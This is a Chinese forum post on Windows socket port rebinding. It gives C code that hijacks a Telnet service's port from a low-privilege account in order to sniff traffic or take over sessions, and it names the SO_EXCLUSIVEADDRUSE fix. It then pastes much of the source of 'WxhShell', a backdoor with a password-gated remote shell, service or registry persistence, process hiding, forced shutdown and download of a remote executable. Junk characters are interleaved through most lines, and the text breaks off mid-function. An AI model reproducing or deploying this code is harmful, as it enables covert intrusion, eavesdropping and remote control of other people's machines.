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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [cp+i^f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n ?Nt6U  
92KRb;c  
  saddr.sin_family = AF_INET; }`~+]9 <   
| %Vh`HT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?5 7Sk+  
I2 P@L?h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o`*,|Nsq  
D}X\Ca"h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8-77d^cprR  
@sC`!Rmy'-  
  这意味着什么?意味着可以进行如下的攻击:  kPLxEwl  
oILZgNe'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E~oOKQ5W  
Y0 -n\|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?(i{y~  
Jg| XH L)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d-dEQKI?;  
}9fTF:P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dlTt _.  
)hfpwdQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q$Q([Au  
,DkNLE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6~w@PRy  
N//K Ph  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <GaS36ZW  
y_lU=(%Jd  
  #include "1 M[5\Ax  
  #include B_m8{44zM  
  #include R/z=p_6p7`  
  #include    6jLCU%^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9mTJ|sN:e  
  int main() hZ  
  { ;MdlwQ$`  
  WORD wVersionRequested; w&T9;_/  
  DWORD ret; SNI)9k(T{  
  WSADATA wsaData; ;hN!s`vq  
  BOOL val; *CI#+P  
  SOCKADDR_IN saddr; 5]Y?m'  
  SOCKADDR_IN scaddr; [K0(RDV)%  
  int err; K(,F~ .<  
  SOCKET s; x+@rg];m  
  SOCKET sc; N5b!.B x-w  
  int caddsize; Ej8^Zg  
  HANDLE mt; DN57p!z  
  DWORD tid;   v #j$;  
  wVersionRequested = MAKEWORD( 2, 2 ); &FN.:_E  
  err = WSAStartup( wVersionRequested, &wsaData ); +!.^zp21  
  if ( err != 0 ) { F@B]et7  
  printf("error!WSAStartup failed!\n"); ?+}_1x`  
  return -1; |4 0`B% Z  
  } UrEs4R1#  
  saddr.sin_family = AF_INET; + @s"zp;F  
   Qjv}$`M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9m~p0ILh  
*wB1,U{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QE`bSI  
  saddr.sin_port = htons(23); q'Tf,a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '@k+4y9q?  
  { X?qK0fS  
  printf("error!socket failed!\n"); x-&@wMqkc  
  return -1; 'kO!^6=4M  
  } lp%pbx43s  
  val = TRUE; ZeaA%y67U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CN8Y\<Ar  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *mvlb (' &  
  { t=W}SH  
  printf("error!setsockopt failed!\n"); mSl.mi(JiZ  
  return -1; Trz@~d/[,n  
  } ok\vQs(a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q:d]imw!O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <k'h:KB?`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aQ\$A`?  
57  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [ ~c|mOk  
  { a'yK~;+_9  
  ret=GetLastError(); SbrecZ  
  printf("error!bind failed!\n"); )W _v:?A9  
  return -1; x\G'kEd  
  } o9yJf#-En  
  listen(s,2); dn$!&  
  while(1) w-L=LWL\  
  { PmEsN&YP]  
  caddsize = sizeof(scaddr); 3kp+<$  
  //接受连接请求 6) [H?Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mLLDE;7|}  
  if(sc!=INVALID_SOCKET) V#gK$uv  
  { gu.}M:u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v\%HPMlh  
  if(mt==NULL) @>2i+)=E5  
  { rlSeu5X6  
  printf("Thread Creat Failed!\n");  < !C)x  
  break; ['tY4$L(  
  } SP_75BJ  
  } R=2FNP  
  CloseHandle(mt); ,G?WAOy,  
  } nBSYsp{  
  closesocket(s); t pQ(g%  
  WSACleanup(); YWO)HsjP  
  return 0; bI9~jWgGp  
  }   TpwkD_fg  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^7WN{0  
  { kxIF#/8  
  SOCKET ss = (SOCKET)lpParam; a P@N)"  
  SOCKET sc; #rQ2gx4  
  unsigned char buf[4096]; 2E)-M9ds  
  SOCKADDR_IN saddr; ,Np0wg0  
  long num; T<Z &kYU:R  
  DWORD val; fW1CFRHH  
  DWORD ret; :vQrOn18p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :zke %Yx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5 ,B_u%bb  
  saddr.sin_family = AF_INET; 0{p#j~ZhC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ` *N[jm"  
  saddr.sin_port = htons(23); A>;bHf@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :g=qz~2Xk  
  { &>W$6>@  
  printf("error!socket failed!\n"); MKD1V8i  
  return -1; t: ;Pj9  
  } Y0dEH^I  
  val = 100; x,@B(9No  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zbt.t] N  
  { '9Xu p  
  ret = GetLastError(); $$;M^WV^?.  
  return -1; s.QwSbw-g  
  } _P 3G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rCbDu&k]  
  { SaAFz&WRl  
  ret = GetLastError(); `*cxH..  
  return -1; 3-qr)h  
  } !v_|zoCEj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ru!iR#s)!  
  { H0gbSd+  
  printf("error!socket connect failed!\n"); eFTpnG  
  closesocket(sc); g<; q.ZylT  
  closesocket(ss); ?*1uN=oI{*  
  return -1; o!Ieb  
  } ;yLu R  
  while(1) g._]8{K  
  { { VfXsI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r|fL&dtr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Zd}9O jz5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m_?~OL S  
  num = recv(ss,buf,4096,0); D4lG[qb  
  if(num>0) 0oZ= yh  
  send(sc,buf,num,0); O1U=X:Zl  
  else if(num==0) oAJM]%g{  
  break; [" )o.(  
  num = recv(sc,buf,4096,0); uLL]A>vR  
  if(num>0)  +yH7v5W  
  send(ss,buf,num,0); z2_*%S@  
  else if(num==0) "ESwA  
  break; Ky!Y"   
  } c%2QZC  
  closesocket(ss); ~Z?TFg  
  closesocket(sc); Xq]w<$  
  return 0 ; Fa Qe_;  
  } b_#m}yZ6  
~hnQUS`A  
ll<Xz((o  
========================================================== oim9<_  
t?x<g<PJ4  
下边附上一个代码,,WXhSHELL ,c$_t+  
j_!F*yul  
========================================================== fF$<7O)+]  
L_uVL#To  
#include "stdafx.h" 5j<mbt}  
:uq\+(9  
#include <stdio.h> ,]ma+(|  
#include <string.h> tqvN0vY5  
#include <windows.h> D9 CaFu  
#include <winsock2.h> {W =%U|f  
#include <winsvc.h> u~M q*  
#include <urlmon.h> Pw7]r<Q  
.9on@S  
#pragma comment (lib, "Ws2_32.lib") av}k)ZT_  
#pragma comment (lib, "urlmon.lib") e#L8X {f  
SIF/-{i(X  
#define MAX_USER   100 // 最大客户端连接数 [fya)}  
#define BUF_SOCK   200 // sock buffer @Q ]=\N:  
#define KEY_BUFF   255 // 输入 buffer yYIf5S`V]  
L3u&/Tn2  
#define REBOOT     0   // 重启 LEbB(x;@  
#define SHUTDOWN   1   // 关机 BOb">6C  
JgKO|VO  
#define DEF_PORT   5000 // 监听端口 axv>6k  
ENl)Ts`y  
#define REG_LEN     16   // 注册表键长度 JIEK*ui  
#define SVC_LEN     80   // NT服务名长度 uB]7G0g:  
$<dH?%!7  
// 从dll定义API ;v)JnbsH}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ld|5TN1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G6q }o)[m)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fn jPSts0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F 5bj=mI  
n71r_S*  
// wxhshell配置信息 gq4Tb c oA  
struct WSCFG { ?K$(817  
  int ws_port;         // 监听端口 oo/qb`-6  
  char ws_passstr[REG_LEN]; // 口令 NR 5gj-B[  
  int ws_autoins;       // 安装标记, 1=yes 0=no =1FRFZI!j  
  char ws_regname[REG_LEN]; // 注册表键名 o lR?n(v  
  char ws_svcname[REG_LEN]; // 服务名 q 6:dy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uu10)/.LC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UAkT*'cB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !=*g@mgF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sQ UM~HD\a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ="1Ind@w!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {nBhdM:i  
>\-hO&%_  
}; tzWSA-Li  
.;y.]Z/;  
// default Wxhshell configuration Z, zWuE3  
struct WSCFG wscfg={DEF_PORT, #vz7y(v  
    "xuhuanlingzhe", Q 04al=  
    1, y|C(X  
    "Wxhshell", qTRsZz@  
    "Wxhshell", ,8S/t+H  
            "WxhShell Service", -/wtI   
    "Wrsky Windows CmdShell Service", tVYF{3BhA  
    "Please Input Your Password: ", :;RMo2Tl  
  1, YFLZ%(  
  "http://www.wrsky.com/wxhshell.exe", s [RAHU  
  "Wxhshell.exe" dc+>m,3$  
    }; |IeTqEu9  
7Kr*P<-G  
// 消息定义模块 {g'(~ qv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c?(4t67|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vONasD9At  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p,EQ#Ik  
char *msg_ws_ext="\n\rExit."; 9%o 32eo,3  
char *msg_ws_end="\n\rQuit."; +xh`Q=A  
char *msg_ws_boot="\n\rReboot..."; L4@K~8j7  
char *msg_ws_poff="\n\rShutdown..."; B?eCe}*f;B  
char *msg_ws_down="\n\rSave to "; zq 3\}9  
}kw#7m54  
char *msg_ws_err="\n\rErr!"; wjU9ZGM  
char *msg_ws_ok="\n\rOK!"; GL>O4S<`  
afCW(zH p  
char ExeFile[MAX_PATH]; yJ[0WY8<kC  
int nUser = 0; QGMV}y  
HANDLE handles[MAX_USER]; G*?8MTP8![  
int OsIsNt; e[{0)y>=  
fF!Yp iI"  
SERVICE_STATUS       serviceStatus; h/QXPdV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qJf?o.Pv  
po c`q5i+  
// 函数声明 -mbt4w  
int Install(void); w1F cB$  
int Uninstall(void); +r�  
int DownloadFile(char *sURL, SOCKET wsh); SpIv#?  
int Boot(int flag); <v"R.<  
void HideProc(void); z{%<<pZ  
int GetOsVer(void); @f_Lp%K  
int Wxhshell(SOCKET wsl); I }a`0Y&{  
void TalkWithClient(void *cs); ")1:F>  
int CmdShell(SOCKET sock); o@_q]/Mh  
int StartFromService(void); \ ,'m</o~,  
int StartWxhshell(LPSTR lpCmdLine); Oz75V|D  
0G(/Wb"/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U"~>jZKk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D5gFXEeh  
s-NX o  
// 数据结构和表定义 eFB5=)ld  
SERVICE_TABLE_ENTRY DispatchTable[] = CYf$nYR  
{ Zcey|m*|  
{wscfg.ws_svcname, NTServiceMain}, 9sM!`Lz{  
{NULL, NULL} (=FRmdeYl1  
}; 1>.Ev,X+e  
VnSCz" ?3  
// 自我安装 ?=u\n;w)  
int Install(void) 3 #n_?-  
{ O"+ gQXe  
  char svExeFile[MAX_PATH]; ,=uD^n:  
  HKEY key; mn'A9er  
  strcpy(svExeFile,ExeFile); c rQ8q;:  
h! ,v/7=  
// 如果是win9x系统,修改注册表设为自启动 8:q1~`?5"b  
if(!OsIsNt) { %6t:(z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ./XYd"p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ml`:UrU  
  RegCloseKey(key); e_^26^{q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7kC^ 30@T3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Z,;,5'5G  
  RegCloseKey(key); 2/U.| *mH  
  return 0; qRu~$K  
    } -D<< kra  
  } Q@=Q0  
} zWnX*2>b  
else { xPdG*OcX!  
\wmN  
// 如果是NT以上系统,安装为系统服务 .w:DFk^E]b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PgAf\.48a  
if (schSCManager!=0) pP1|&`}ux  
{ ,S\CC{!  
  SC_HANDLE schService = CreateService S0$8@"~=  
  ( 9FF0%*tGo  
  schSCManager, ufj,T7g^  
  wscfg.ws_svcname, AI2~Jp  
  wscfg.ws_svcdisp, [=C6U_vU  
  SERVICE_ALL_ACCESS, v<k?Vu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )J=!L\  
  SERVICE_AUTO_START, m 1b?J3   
  SERVICE_ERROR_NORMAL, I2XU(pYU  
  svExeFile, 6]i-E>p3R  
  NULL, S*pGMuui  
  NULL, Xa[.3=bV?  
  NULL, )Dm s  
  NULL, @ 8(q$  
  NULL ,.S~ Y  
  ); 9p85Pv [M=  
  if (schService!=0) )w em|:H  
  { rD tY[  
  CloseServiceHandle(schService); K&u_R  
  CloseServiceHandle(schSCManager); 1pVS&0W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .C%<P"=J4h  
  strcat(svExeFile,wscfg.ws_svcname); D#aDv0b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b\f O8{k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #x@$ lc=k3  
  RegCloseKey(key); eNh39er  
  return 0; 7Y lchmd  
    } WH%g(6w1j  
  } cs48*+m  
  CloseServiceHandle(schSCManager); _r#Z}HK  
} qyb?49I  
} H;mSkRD3N  
VD AaYDi  
return 1; `K"L /I9  
} v4<nI;Ux  
/*~EO{o  
// 自我卸载 $B+8Of  
int Uninstall(void) PJ')R:e,  
{ J[&@PUy  
  HKEY key; m<G,[Yc  
Lpkyoh v  
if(!OsIsNt) { `b&%Hm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wKh4|Ka  
  RegDeleteValue(key,wscfg.ws_regname); hw uiu*  
  RegCloseKey(key); ]Ee?6]bN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VO5#Qgen  
  RegDeleteValue(key,wscfg.ws_regname); ^^u5*n+5  
  RegCloseKey(key); y G~?MEh{  
  return 0; _{ue8kGt  
  } ,O5NLg-  
} ~i= _J3'  
} I@\lN&HC  
else { BkAm/R  
pp?D7S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m[osg< CR_  
if (schSCManager!=0) @ )F)S 7  
{ eSn+B;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vsr.=Nd=  
  if (schService!=0) 1NFsb-<u  
  { J6"9v;V  
  if(DeleteService(schService)!=0) { -]Bq|qTH[(  
  CloseServiceHandle(schService); >tS'Q`R  
  CloseServiceHandle(schSCManager); d7^}tM  
  return 0; b#c:u2  
  } &N9 a<w8+  
  CloseServiceHandle(schService); Yu/ID!`Z  
  } krxo"WgD  
  CloseServiceHandle(schSCManager); OG~gFZr)6  
} n)/z0n!\  
} ZmqKQO  
wVXS%4|v  
return 1; &<g|gsG`  
} Jumgb  
&;6`)M{*}  
// 从指定url下载文件 1UgEI"#a6g  
int DownloadFile(char *sURL, SOCKET wsh) `cn#B BV  
{ 2ACCh4(/P  
  HRESULT hr; R+:yVi[F]U  
char seps[]= "/"; _%Bi: HG0  
char *token; =[ 46`-_  
char *file; z|uDy2  
char myURL[MAX_PATH]; ZgJQ?S$D  
char myFILE[MAX_PATH]; L&8~f]  
jwe*(k]z  
strcpy(myURL,sURL); lgAoJ[  
  token=strtok(myURL,seps); g9pZ\$J&  
  while(token!=NULL) h f)?1z4  
  { mM~qBrwL  
    file=token; @n/\L<]t  
  token=strtok(NULL,seps); iozt&~o  
  } X #dmo/L8  
phkwN}6  
GetCurrentDirectory(MAX_PATH,myFILE); ^#-l q)  
strcat(myFILE, "\\"); @s>Czm5  
strcat(myFILE, file);  N];NAMp  
  send(wsh,myFILE,strlen(myFILE),0); FZ QP%]FX  
send(wsh,"...",3,0); fb7;|LF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )* :gqN  
  if(hr==S_OK) ]#<4vl\  
return 0; ]EbM9Fo-U  
else ^0 )g/`H^>  
return 1; G't$Qx,IC  
EP&,MYI%E  
} FkDmP`Od  
%Xd[(Q)  
// 系统电源模块 5ta `%R_  
int Boot(int flag) 4B;=kL_f  
{ @IKYh{j4  
  HANDLE hToken; "^[ 'y7i  
  TOKEN_PRIVILEGES tkp; bP#:Oi0v`  
NYUL:Tp  
  if(OsIsNt) { v"$L702d$\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tT8%yG}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BVQqY$>  
    tkp.PrivilegeCount = 1; I|!OY`ko  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hag$GX'2k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c ]-<vkpV  
if(flag==REBOOT) { Gu,wF(x7A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o[4}h:> dq  
  return 0; /<k/7TF`  
} (/YHk`v2  
else { <nf@U>wlw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]mq|w  
  return 0; m~ABC#,2  
} wm@@$  
  } .LZ?S"z$ w  
  else { h*a(_11  
if(flag==REBOOT) { ",t?8465y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sdrfsrNvB-  
  return 0; ]cvwIc">  
} 0auYG><=  
else { >uB?rGcM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1\m[$Gs:  
  return 0; ]A `n( "%  
} iyE7V_O T  
} Q*cf(  
<=&`ZH   
return 1; gg/-k;@ Rf  
} iVr JQ  
^CH=O|8j  
// win9x进程隐藏模块 8d{0rqwNE  
void HideProc(void) L{\8!51L  
{ Hio0HL-  
S+6.ZZ9c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M0"_^?  
  if ( hKernel != NULL ) y<3-?}.aZ  
  { #z%fx   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); est9M*Fn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kw^7>\  
    FreeLibrary(hKernel); aO[w/cGQ  
  } # w4-aJ  
Lb-OsKU  
return;  > |=ts  
} H41?/U,{  
ty!`T+3  
// 获取操作系统版本 MchA{p&Ol  
int GetOsVer(void) {Mk6T1Bkq  
{ `(;m?<%  
  OSVERSIONINFO winfo; /}Axf"OE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |-ALklXr  
  GetVersionEx(&winfo); Rv>-4@fMJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q{>k1$fkV  
  return 1;  K5 z<3+  
  else R29~~IOqO  
  return 0; C): 1?@  
} 3,w_ ".m`#  
H8jpxzXv  
// 客户端句柄模块 1GRCV8 "Z^  
int Wxhshell(SOCKET wsl) >R_&Ouh:  
{ J)> c9w  
  SOCKET wsh; _LnpnL:  
  struct sockaddr_in client; .Efk*  
  DWORD myID; (WJRi:NP?  
Jpq~  
  while(nUser<MAX_USER) t?gic9 q  
{ T!{w~'=F  
  int nSize=sizeof(client); .{^5X)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9*wK@yEl  
  if(wsh==INVALID_SOCKET) return 1; 9FR5Jw>t  
N"R]Yp;j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HiFUv>,u  
if(handles[nUser]==0) Ax@$+/Z!  
  closesocket(wsh); ~~P5k:  
else kTB 0b*V  
  nUser++; C) s5D  
  } 0+ '&`Q!u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5tk AFb4P  
=qIp2c}Rx  
  return 0; B$K=\6o  
} Q&;9 x?e  
?V=ZIGj  
// 关闭 socket JbbzV>  
void CloseIt(SOCKET wsh) ,0sm  
{ qDIZJ h  
closesocket(wsh); U)gH}0n&  
nUser--; =WATyY:s  
ExitThread(0); _VN?#J)o  
} 6 "sSoj  
B9 uoVcW  
// 客户端请求句柄 yyJ  f%{  
void TalkWithClient(void *cs) ]m<$}  
{ I236 RIq  
 (ZizuHC  
  SOCKET wsh=(SOCKET)cs; xCTML!H  
  char pwd[SVC_LEN]; RqrdAkg  
  char cmd[KEY_BUFF]; P@B]  
char chr[1]; x9g#<2w8  
int i,j; p6@)-2^  
n\DV3rXI9  
  while (nUser < MAX_USER) { {tZ.v@  
m s \}  
if(wscfg.ws_passstr) { {\5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WT=;:j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \2$|Ei7  
  //ZeroMemory(pwd,KEY_BUFF); \b x$i*  
      i=0; tWRC$  
  while(i<SVC_LEN) { GVn!O1jio  
n>YKa)|W`  
  // 设置超时 `^&OF u ee  
  fd_set FdRead; eauF ~md,  
  struct timeval TimeOut; 0h_|t-9j  
  FD_ZERO(&FdRead); Y3b *a".X  
  FD_SET(wsh,&FdRead); 6_Y,eL]"  
  TimeOut.tv_sec=8; uXvtfc  
  TimeOut.tv_usec=0; 0,")C5j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZE}}W _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :I#V.  
&QgR*,5eo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R m( "=(  
  pwd=chr[0]; }7Q%6&IR  
  if(chr[0]==0xd || chr[0]==0xa) { ga+dt  
  pwd=0; ux4POO3C|  
  break; i_%_x*  
  } !|(NgzDP/  
  i++; N6:`/f+A>T  
    } 1+s;FJ2}  
sgFEK[w.y  
  // 如果是非法用户,关闭 socket k,*XG$2h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mzgfFNm^G)  
} Zy/_ E@C}u  
~DwpoeYX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fJg+Ryo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H:| uw  
9'B `]/L  
while(1) { |BXg/gW  
|6- nbj  
  ZeroMemory(cmd,KEY_BUFF); 2>%=U~5  
HRA|q  
      // 自动支持客户端 telnet标准   zb3t IRH  
  j=0; =s6 opL)  
  while(j<KEY_BUFF) { 59u }W 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l/5 hp.  
  cmd[j]=chr[0]; [/r(__.  
  if(chr[0]==0xa || chr[0]==0xd) {  ob]w;"  
  cmd[j]=0; XCQs2CHt  
  break; h*\%vr  
  } RA 6w}:sq7  
  j++; 9(Xn>G'iT  
    } Di{de`  
wCBplaojJ  
  // 下载文件 :ws<-Qy  
  if(strstr(cmd,"http://")) { At;LO9T3z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h?U O&(  
  if(DownloadFile(cmd,wsh)) i%?*@uj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); * ;FdD{+  
  else }GM'.yutX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (ZlU^Gw#UB  
  } sI2^Qp@O1  
  else { Ewz!O`  
%hP^%'G  
    switch(cmd[0]) { HzsdHH(J  
  QJ;2ZN,  
  // 帮助 t uX|\X  
  case '?': { ueNS='+m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yHaGkm  
    break; c71y'hnT  
  } dE3) | %  
  // 安装  bN.Pex  
  case 'i': { -{vD: Il=6  
    if(Install()) kJR`:J3DJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2~V*5~fb  
    else >$7B wO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zH r_!~  
    break; Z\sDUJ  
    } ]4e;RV-B  
  // 卸载 zt%Mx>V@  
  case 'r': { WIGi51yC.x  
    if(Uninstall()) r JB}qYD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9gIrt 6  
    else 6]wIG$j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * y,v}-  
    break; *^`Vz?g<  
    } pj(,Zd[47  
  // 显示 wxhshell 所在路径 LP=)~K<  
  case 'p': { q^nVN#  
    char svExeFile[MAX_PATH]; W,u:gzmhw  
    strcpy(svExeFile,"\n\r"); wd6owr  
      strcat(svExeFile,ExeFile); &^nGtW%a 9  
        send(wsh,svExeFile,strlen(svExeFile),0); dh\P4  
    break; MQ2_`pi  
    } L/[K"  
  // 重启 2g<Xtt7+o  
  case 'b': { jEwIn1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !r-F>!~  
    if(Boot(REBOOT)) Q2> gU#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7HWmCaa[  
    else { F'Z,]b'st3  
    closesocket(wsh); w-jVC^C]  
    ExitThread(0); )/P}?` I  
    } }m8q}~>tL  
    break; uAk.@nfiEv  
    } ?7A>+EY  
  // 关机 $cg cX  
  case 'd': { Hr C+Yjp  
